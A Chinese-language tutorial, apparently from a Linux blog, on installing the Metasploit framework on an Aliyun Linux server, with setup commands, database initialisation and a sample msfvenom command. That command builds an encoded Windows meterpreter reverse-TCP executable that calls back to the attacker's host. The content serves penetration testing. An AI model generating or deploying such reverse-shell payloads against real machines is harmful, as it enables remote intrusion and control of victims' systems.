本篇文章和大家分享一下linux系统安装msf的教程,需要的朋友可以参考一下。
我的服务器系统是 Aliyun linux
1、下载安装
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall可能报错:Couldn’t open file /etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit
是因为安装库的问题!
解决方法:
yum install -y epel-release
然后再重复上面那条命令!2、添加新用户运行msf
adduser msf #添加msf用户
su msf #切换到msf用户
cd /opt/metasploit-framework/bin #切换到msf所在的目录
./msfconsole
#以后启动msfconsole,都切换到msf用户下启动,这样会同步数据库。
如果使用root用户启动的话,不会同步数据库!
(启动索引已经默认配好了!)
直接 msfconsole 就可以启动了!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
#相关命令 [msf@xxxx root]$ msf msfbinscan msfconsole msfd msfdb msfelfscan msfmachscan msfpescan msfrop msfrpc msfrpcd msfupdate msfvenom #数据库初始化 [msf@xxxx root]$ msfdb Commands: init initialize the component reinit delete and reinitialize the component delete delete and stop the component status check component status start start the component stop stop the component restart restart the component |
1
2
3
4
5
|
#测试: e.g.我的虚拟主机是 Win2003(目标机) msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=msf_ip LPORT=4444 -e x86/shikata_ga_nai -f exe > test.exe |
注:如果是弹性云服务器IP,LHOST 要设置为内网分配IP,不能设公网IP [被这个坑折腾好久!!!吐血!!!]
ps:linux系统下安装msf框架
命令:
1
2
3
|
chmod 755 metasploit-latest-linux-installer.run ./metasploit-latest-linux-installer.run |
等待运行结束即可。关键地方按回车和Y即可。
总结
到此这篇关于linux系统安装msf的过程详解的文章就介绍到这了,大家如果有更好的方法可以在评论区就行留言啊。
为各位朋友分享的相关内容。想要了解更多Linux相关知识记得关注公众号“良许Linux”,或扫描下方二维码进行关注,更多等着你!